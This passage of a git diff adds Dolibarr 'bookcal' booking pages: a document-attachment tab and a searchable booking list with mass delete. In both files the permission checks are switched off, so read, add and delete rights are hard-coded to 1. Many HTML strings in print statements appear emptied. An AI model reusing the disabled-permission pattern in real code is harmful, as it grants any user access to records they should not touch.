      '.$langs->trans('Project') . ' '; @@ -167,7 +165,7 @@ if ($object->id) { $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); } } else { - if (!empty($object->fk_project)) { + if (! empty($object->fk_project)) { $proj = new Project($db); $proj->fetch($object->fk_project); $morehtmlref .= ': '.$proj->getNomUrl(); diff --git a/htdocs/bookcal/booking_document.php b/htdocs/bookcal/booking_document.php new file mode 100644 index 00000000000..aadcb0f14c9 --- /dev/null +++ b/htdocs/bookcal/booking_document.php @@ -0,0 +1,211 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file booking_document.php + * \ingroup bookcal + * \brief Tab for documents linked to Booking + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/files.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/images.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formfile.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/class/booking.class.php'; +require_once DOL_DOCUMENT_ROOT.'/bookcal/lib/bookcal_booking.lib.php'; + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "companies", "other", "mails")); + + +$action = GETPOST('action', 'aZ09'); +$confirm = GETPOST('confirm'); +$id = (GETPOST('socid', 'int') ? GETPOST('socid', 'int') : GETPOST('id', 'int')); +$ref = GETPOST('ref', 'alpha'); + +// Get parameters +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page == -1) { + $page = 0; +} // If $page is not defined, or '' or -1 +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; +if (!$sortorder) { + $sortorder = "ASC"; +} +if (!$sortfield) { + $sortfield = "name"; +} +//if (! $sortfield) $sortfield="position_name"; + +// Initialize technical objects +$object = new Booking($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('bookingdocument', 'globalcard')); // Note that conf->hooks_modules contains array +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); + +// Load object +include DOL_DOCUMENT_ROOT.'/core/actions_fetchobject.inc.php'; // Must be include, not include_once // Must be include, not include_once. Include fetch and fetch_thirdparty but not fetch_optionals + +if ($id > 0 || !empty($ref)) { + $upload_dir = $conf->bookcal->multidir_output[$object->entity ? $object->entity : $conf->entity]."/booking/".get_exdir(0, 0, 0, 1, $object); +} + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->rights->bookcal->booking->read; + $permissiontoadd = $user->rights->bookcal->booking->write; // Used by the include of actions_addupdatedelete.inc.php and actions_linkedfiles.inc.php +} else { + $permissiontoread = 1; + $permissiontoadd = 1; +} + +// Security check (enable the most restrictive one) +//if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, $object->id, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden(); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +include DOL_DOCUMENT_ROOT.'/core/actions_linkedfiles.inc.php'; + + +/* + * View + */ + +$form = new Form($db); + +$title = $langs->trans("Booking").' - '.$langs->trans("Files"); +$help_url = ''; +//$help_url='EN:Module_Third_Parties|FR:Module_Tiers|ES:Empresas'; +llxHeader('', $title, $help_url); + +if ($object->id) { + /* + * Show tabs + */ + $head = bookingPrepareHead($object); + + print dol_get_fiche_head($head, 'document', $langs->trans("Booking"), -1, $object->picto); + + + // Build file list + $filearray = dol_dir_list($upload_dir, "files", 0, '', '(\.meta|_preview.*\.png)$', $sortfield, (strtolower($sortorder) == 'desc' ?SORT_DESC:SORT_ASC), 1); + $totalsize = 0; + foreach ($filearray as $key => $file) { + $totalsize += $file['size']; + } + + // Object card + // ------------------------------------------------------------ + $linkback = ''.$langs->trans("BackToList").''; + + $morehtmlref = '
      '; + /* + // Ref customer + $morehtmlref.=$form->editfieldkey("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', 0, 1); + $morehtmlref.=$form->editfieldval("RefCustomer", 'ref_client', $object->ref_client, $object, 0, 'string', '', null, null, '', 1); + // Thirdparty + $morehtmlref.='
      '.$langs->trans('ThirdParty') . ' : ' . (is_object($object->thirdparty) ? $object->thirdparty->getNomUrl(1) : ''); + // Project + if (! empty($conf->project->enabled)) + { + $langs->load("projects"); + $morehtmlref.='
      '.$langs->trans('Project') . ' '; + if ($permissiontoadd) + { + if ($action != 'classify') + //$morehtmlref.='' . img_edit($langs->transnoentitiesnoconv('SetProject')) . ' : '; + $morehtmlref.=' : '; + if ($action == 'classify') { + //$morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'projectid', 0, 0, 1, 1); + $morehtmlref.='
      '; + $morehtmlref.=''; + $morehtmlref.=''; + $morehtmlref.=$formproject->select_projects($object->socid, $object->fk_project, 'projectid', $maxlength, 0, 1, 0, 1, 0, 0, '', 1); + $morehtmlref.=''; + $morehtmlref.='
      '; + } else { + $morehtmlref.=$form->form_project($_SERVER['PHP_SELF'] . '?id=' . $object->id, $object->socid, $object->fk_project, 'none', 0, 0, 0, 1); + } + } else { + if (! empty($object->fk_project)) { + $proj = new Project($db); + $proj->fetch($object->fk_project); + $morehtmlref .= ': '.$proj->getNomUrl(); + } else { + $morehtmlref .= ''; + } + } + }*/ + $morehtmlref .= '
      '; + + dol_banner_tab($object, 'ref', $linkback, 1, 'ref', 'ref', $morehtmlref); + + print '
      '; + + print '
      '; + print ''; + + // Number of files + print ''; + + // Total size + print ''; + + print '
      '.$langs->trans("NbOfAttachedFiles").''.count($filearray).'
      '.$langs->trans("TotalSizeOfAttachedFiles").''.$totalsize.' '.$langs->trans("bytes").'
      '; + + print '
      '; + + print dol_get_fiche_end(); + + $modulepart = 'bookcal'; + //$permissiontoadd = $user->rights->bookcal->booking->write; + $permissiontoadd = 1; + //$permtoedit = $user->rights->bookcal->booking->write; + $permtoedit = 1; + $param = '&id='.$object->id; + + //$relativepathwithnofile='booking/' . dol_sanitizeFileName($object->id).'/'; + $relativepathwithnofile = 'booking/'.dol_sanitizeFileName($object->ref).'/'; + + include DOL_DOCUMENT_ROOT.'/core/tpl/document_actions_post_headers.tpl.php'; +} else { + accessforbidden('', 0, 1); +} + +// End of page +llxFooter(); +$db->close(); diff --git a/htdocs/bookcal/booking_list.php b/htdocs/bookcal/booking_list.php new file mode 100644 index 00000000000..e030a52b7e3 --- /dev/null +++ b/htdocs/bookcal/booking_list.php @@ -0,0 +1,794 @@ + + * Copyright (C) 2022 Alice Adminson + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ + +/** + * \file booking_list.php + * \ingroup bookcal + * \brief List page for booking + */ + +// Load Dolibarr environment +require '../main.inc.php'; +require_once DOL_DOCUMENT_ROOT.'/core/class/html.formcompany.class.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php'; +require_once DOL_DOCUMENT_ROOT.'/core/lib/company.lib.php'; + +// load bookcal libraries +require_once __DIR__.'/class/booking.class.php'; + +// for other modules +//dol_include_once('/othermodule/class/otherobject.class.php'); + +// Load translation files required by the page +$langs->loadLangs(array("agenda", "other")); + +$id = GETPOST('id', 'int'); +$ref = GETPOST('ref', 'alpha'); + +$action = GETPOST('action', 'aZ09') ?GETPOST('action', 'aZ09') : 'view'; // The action 'add', 'create', 'edit', 'update', 'view', ... +$massaction = GETPOST('massaction', 'alpha'); // The bulk action (combo box choice into lists) +$show_files = GETPOST('show_files', 'int'); // Show files area generated by bulk actions ? +$confirm = GETPOST('confirm', 'alpha'); // Result of a confirmation +$cancel = GETPOST('cancel', 'alpha'); // We click on a Cancel button +$toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected into a list +$contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : str_replace('_', '', basename(dirname(__FILE__)).basename(__FILE__, '.php')); // To manage different context of search +$backtopage = GETPOST('backtopage', 'alpha'); // Go back to a dedicated page +$optioncss = GETPOST('optioncss', 'aZ'); // Option for the css output (always '' except when 'print') +$mode = GETPOST('mode', 'aZ'); + +// Load variable for pagination +$limit = GETPOST('limit', 'int') ? GETPOST('limit', 'int') : $conf->liste_limit; +$sortfield = GETPOST('sortfield', 'aZ09comma'); +$sortorder = GETPOST('sortorder', 'aZ09comma'); +$page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters + $page = 0; +} +$offset = $limit * $page; +$pageprev = $page - 1; +$pagenext = $page + 1; + +// Initialize technical objects +$object = new Booking($db); +$extrafields = new ExtraFields($db); +$diroutputmassaction = $conf->bookcal->dir_output.'/temp/massgeneration/'.$user->id; +$hookmanager->initHooks(array('bookinglist')); // Note that conf->hooks_modules contains array + +// Fetch optionals attributes and labels +$extrafields->fetch_name_optionals_label($object->table_element); +//$extrafields->fetch_name_optionals_label($object->table_element_line); + +$search_array_options = $extrafields->getOptionalsFromPost($object->table_element, '', 'search_'); + +// Default sort order (if not yet defined by previous GETPOST) +if (!$sortfield) { + reset($object->fields); // Reset is required to avoid key() to return null. + $sortfield = "t.".key($object->fields); // Set here default search field. By default 1st field in definition. +} +if (!$sortorder) { + $sortorder = "ASC"; +} + +// Initialize array of search criterias +$search_all = GETPOST('search_all', 'alphanohtml'); +$search = array(); +foreach ($object->fields as $key => $val) { + if (GETPOST('search_'.$key, 'alpha') !== '') { + $search[$key] = GETPOST('search_'.$key, 'alpha'); + } + if (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + $search[$key.'_dtstart'] = dol_mktime(0, 0, 0, GETPOST('search_'.$key.'_dtstartmonth', 'int'), GETPOST('search_'.$key.'_dtstartday', 'int'), GETPOST('search_'.$key.'_dtstartyear', 'int')); + $search[$key.'_dtend'] = dol_mktime(23, 59, 59, GETPOST('search_'.$key.'_dtendmonth', 'int'), GETPOST('search_'.$key.'_dtendday', 'int'), GETPOST('search_'.$key.'_dtendyear', 'int')); + } +} + +// List of fields to search into when doing a "search in all" +$fieldstosearchall = array(); +foreach ($object->fields as $key => $val) { + if (!empty($val['searchall'])) { + $fieldstosearchall['t.'.$key] = $val['label']; + } +} + +// Definition of array of fields for columns +$arrayfields = array(); +foreach ($object->fields as $key => $val) { + // If $val['visible']==0, then we never show the field + if (!empty($val['visible'])) { + $visible = (int) dol_eval($val['visible'], 1); + $arrayfields['t.'.$key] = array( + 'label'=>$val['label'], + 'checked'=>(($visible < 0) ? 0 : 1), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), + 'position'=>$val['position'], + 'help'=> isset($val['help']) ? $val['help'] : '' + ); + } +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_array_fields.tpl.php'; + +$object->fields = dol_sort_array($object->fields, 'position'); +//$arrayfields['anotherfield'] = array('type'=>'integer', 'label'=>'AnotherField', 'checked'=>1, 'enabled'=>1, 'position'=>90, 'csslist'=>'right'); +$arrayfields = dol_sort_array($arrayfields, 'position'); + +// There is several ways to check permission. +// Set $enablepermissioncheck to 1 to enable a minimum low level of checks +$enablepermissioncheck = 0; +if ($enablepermissioncheck) { + $permissiontoread = $user->rights->bookcal->booking->read; + $permissiontoadd = $user->rights->bookcal->booking->write; + $permissiontodelete = $user->rights->bookcal->booking->delete; +} else { + $permissiontoread = 1; + $permissiontoadd = 1; + $permissiontodelete = 1; +} + +// Security check (enable the most restrictive one) +if ($user->socid > 0) accessforbidden(); +//if ($user->socid > 0) accessforbidden(); +//$socid = 0; if ($user->socid > 0) $socid = $user->socid; +//$isdraft = (($object->status == $object::STATUS_DRAFT) ? 1 : 0); +//restrictedArea($user, $object->element, 0, $object->table_element, '', 'fk_soc', 'rowid', $isdraft); +if (!isModEnabled('bookcal')) accessforbidden('Module not enabled'); +if (!$permissiontoread) accessforbidden(); + + +/* + * Actions + */ + +if (GETPOST('cancel', 'alpha')) { + $action = 'list'; + $massaction = ''; +} +if (!GETPOST('confirmmassaction', 'alpha') && $massaction != 'presend' && $massaction != 'confirm_presend') { + $massaction = ''; +} + +$parameters = array(); +$reshook = $hookmanager->executeHooks('doActions', $parameters, $object, $action); // Note that $action and $object may have been modified by some hooks +if ($reshook < 0) { + setEventMessages($hookmanager->error, $hookmanager->errors, 'errors'); +} + +if (empty($reshook)) { + // Selection of new fields + include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php'; + + // Purge search criteria + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha')) { // All tests are required to be compatible with all browsers + foreach ($object->fields as $key => $val) { + $search[$key] = ''; + if (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { + $search[$key.'_dtstart'] = ''; + $search[$key.'_dtend'] = ''; + } + } + $toselect = array(); + $search_array_options = array(); + } + if (GETPOST('button_removefilter_x', 'alpha') || GETPOST('button_removefilter.x', 'alpha') || GETPOST('button_removefilter', 'alpha') + || GETPOST('button_search_x', 'alpha') || GETPOST('button_search.x', 'alpha') || GETPOST('button_search', 'alpha')) { + $massaction = ''; // Protection to avoid mass action if we force a new search during a mass action confirmation + } + + // Mass actions + $objectclass = 'Booking'; + $objectlabel = 'Booking'; + $uploaddir = $conf->bookcal->dir_output; + include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; +} + + + +/* + * View + */ + +$form = new Form($db); + +$now = dol_now(); + +//$help_url = "EN:Module_Booking|FR:Module_Booking_FR|ES:Módulo_Booking"; +$help_url = ''; +$title = $langs->trans("Bookings"); +$morejs = array(); +$morecss = array(); + + +// Build and execute select +// -------------------------------------------------------------------- +$sql = 'SELECT '; +$sql .= $object->getFieldList('t'); +// Add fields from extrafields +if (!empty($extrafields->attributes[$object->table_element]['label'])) { + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? ", ef.".$key." as options_".$key : ''); + } +} +// Add fields from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); +//$sql .= ", COUNT(rc.rowid) as anotherfield"; +$sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; +//$sql .= " LEFT JOIN ".MAIN_DB_PREFIX."anothertable as rc ON rc.parent = t.rowid"; +if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { + $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; +} +// Add table from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +if ($object->ismultientitymanaged == 1) { + $sql .= " WHERE t.entity IN (".getEntity($object->element).")"; +} else { + $sql .= " WHERE 1 = 1"; +} +foreach ($search as $key => $val) { + if (array_key_exists($key, $object->fields)) { + if ($key == 'status' && $search[$key] == -1) { + continue; + } + $mode_search = (($object->isInt($object->fields[$key]) || $object->isFloat($object->fields[$key])) ? 1 : 0); + if ((strpos($object->fields[$key]['type'], 'integer:') === 0) || (strpos($object->fields[$key]['type'], 'sellist:') === 0) || !empty($object->fields[$key]['arrayofkeyval'])) { + if ($search[$key] == '-1' || ($search[$key] === '0' && (empty($object->fields[$key]['arrayofkeyval']) || !array_key_exists('0', $object->fields[$key]['arrayofkeyval'])))) { + $search[$key] = ''; + } + $mode_search = 2; + } + if ($search[$key] != '') { + $sql .= natural_search("t.".$db->escape($key), $search[$key], (($key == 'status') ? 2 : $mode_search)); + } + } else { + if (preg_match('/(_dtstart|_dtend)$/', $key) && $search[$key] != '') { + $columnName = preg_replace('/(_dtstart|_dtend)$/', '', $key); + if (preg_match('/^(date|timestamp|datetime)/', $object->fields[$columnName]['type'])) { + if (preg_match('/_dtstart$/', $key)) { + $sql .= " AND t.".$db->escape($columnName)." >= '".$db->idate($search[$key])."'"; + } + if (preg_match('/_dtend$/', $key)) { + $sql .= " AND t.".$db->escape($columnName)." <= '".$db->idate($search[$key])."'"; + } + } + } + } +} +if ($search_all) { + $sql .= natural_search(array_keys($fieldstosearchall), $search_all); +} +//$sql.= dolSqlDateFilter("t.field", $search_xxxday, $search_xxxmonth, $search_xxxyear); +// Add where from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; +// Add where from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; + +/* If a group by is required +$sql .= " GROUP BY "; +foreach($object->fields as $key => $val) { + $sql .= "t.".$db->escape($key).", "; +} +// Add fields from extrafields +if (!empty($extrafields->attributes[$object->table_element]['label'])) { + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); + } +} +// Add where from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListGroupBy', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; +$sql = preg_replace('/,\s*$/', '', $sql); +*/ + +// Add HAVING from hooks +/* +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListHaving', $parameters, $object); // Note that $action and $object may have been modified by hook +$sql .= empty($hookmanager->resPrint) ? "" : " HAVING 1=1 ".$hookmanager->resPrint; +*/ + +// Count total nb of records +$nbtotalofrecords = ''; +if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + /* This old and fast method to get and count full list returns all record so use a high amount of memory. + $resql = $db->query($sql); + $nbtotalofrecords = $db->num_rows($resql); + */ + /* The slow method does not consume memory on mysql (not tested on pgsql) */ + /*$resql = $db->query($sql, 0, 'auto', 1); + while ($db->fetch_object($resql)) { + if (empty($nbtotalofrecords)) { + $nbtotalofrecords = 1; // We can't make +1 because init value is '' + } else { + $nbtotalofrecords++; + } + }*/ + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^SELECT[a-zA-Z0-9\._\s\(\),=<>\:\-\']+\sFROM/', 'SELECT COUNT(*) as nbtotalofrecords FROM', $sql); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + $page = 0; + $offset = 0; + } + $db->free($resql); +} + +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); +} + +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + + +// Direct jump if only one record found +if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { + $obj = $db->fetch_object($resql); + $id = $obj->rowid; + header("Location: ".dol_buildpath('/bookcal/booking_card.php', 1).'?id='.$id); + exit; +} + + +// Output page +// -------------------------------------------------------------------- + +llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'bodyforlist'); + +// Example : Adding jquery code +// print ''; + +$arrayofselected = is_array($toselect) ? $toselect : array(); + +$param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} +if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { + $param .= '&contextpage='.urlencode($contextpage); +} +if ($limit > 0 && $limit != $conf->liste_limit) { + $param .= '&limit='.urlencode($limit); +} +foreach ($search as $key => $val) { + if (is_array($search[$key]) && count($search[$key])) { + foreach ($search[$key] as $skey) { + if ($skey != '') { + $param .= '&search_'.$key.'[]='.urlencode($skey); + } + } + } elseif ($search[$key] != '') { + $param .= '&search_'.$key.'='.urlencode($search[$key]); + } +} +if ($optioncss != '') { + $param .= '&optioncss='.urlencode($optioncss); +} +// Add $param from extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; +// Add $param from hooks +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object); // Note that $action and $object may have been modified by hook +$param .= $hookmanager->resPrint; + +// List of mass actions available +$arrayofmassactions = array( + //'validate'=>img_picto('', 'check', 'class="pictofixedwidth"').$langs->trans("Validate"), + //'generate_doc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("ReGeneratePDF"), + //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), + //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), +); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} +if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { + $arrayofmassactions = array(); +} +$massactionbutton = $form->selectMassAction('', $arrayofmassactions); + +print '
      '."\n"; +if ($optioncss != '') { + print ''; +} +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; +print ''; + + +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', dol_buildpath('/bookcal/booking_card.php', 1).'?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); + +print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'object_'.$object->picto, 0, $newcardbutton, '', $limit, 0, 0, 1); + +// Add code for pre mass action (confirmation or email presend form) +$topicmail = "SendBookingRef"; +$modelmail = "booking"; +$objecttmp = new Booking($db); +$trackid = 'xxxx'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; + +if ($search_all) { + $setupstring = ''; + foreach ($fieldstosearchall as $key => $val) { + $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; + } + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; +} + +$moreforfilter = ''; +/*$moreforfilter.='
      '; +$moreforfilter.= $langs->trans('MyFilter') . ': '; +$moreforfilter.= '
      ';*/ + +$parameters = array(); +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +if (empty($reshook)) { + $moreforfilter .= $hookmanager->resPrint; +} else { + $moreforfilter = $hookmanager->resPrint; +} + +if (!empty($moreforfilter)) { + print '
      '; + print $moreforfilter; + print '
      '; +} + +$varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')); // This also change content of $arrayfields +$selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); + +print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table +print ''."\n"; + + +// Fields title search +// -------------------------------------------------------------------- +print ''; +// Action column +if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; +} +foreach ($object->fields as $key => $val) { + $searchkey = empty($search[$key]) ? '' : $search[$key]; + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + if (!empty($arrayfields['t.'.$key]['checked'])) { + print ''; + } +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; + +// Fields from hook +$parameters = array('arrayfields'=>$arrayfields); +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +/*if (!empty($arrayfields['anotherfield']['checked'])) { + print ''; +}*/ +// Action column +if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print ''; +} +print ''."\n"; + +$totalarray = array(); +$totalarray['nbfield'] = 0; + +// Fields title label +// -------------------------------------------------------------------- +print ''; +if (!empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} +foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + $cssforfield = preg_replace('/small\s*/', '', $cssforfield); // the 'small' css must not be used for the title label + if (!empty($arrayfields['t.'.$key]['checked'])) { + print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''))."\n"; + $totalarray['nbfield']++; + } +} +// Extra fields +include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; +// Hook fields +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +print $hookmanager->resPrint; +/*if (!empty($arrayfields['anotherfield']['checked'])) { + print ''; + $totalarray['nbfield']++; +}*/ +// Action column +if (empty($conf->global->MAIN_CHECKBOX_LEFT_COLUMN)) { + print getTitleFieldOfList(($mode != 'kanban' ? $selectedfields : ''), 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +} +$totalarray['nbfield']++; +print ''."\n"; + + +// Detect if we need a fetch on each output line +$needToFetchEachLine = 0; +if (isset($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { + foreach ($extrafields->attributes[$object->table_element]['computed'] as $key => $val) { + if (preg_match('/\$object/', $val)) { + $needToFetchEachLine++; // There is at least one compute field that use $object + } + } +} + + +// 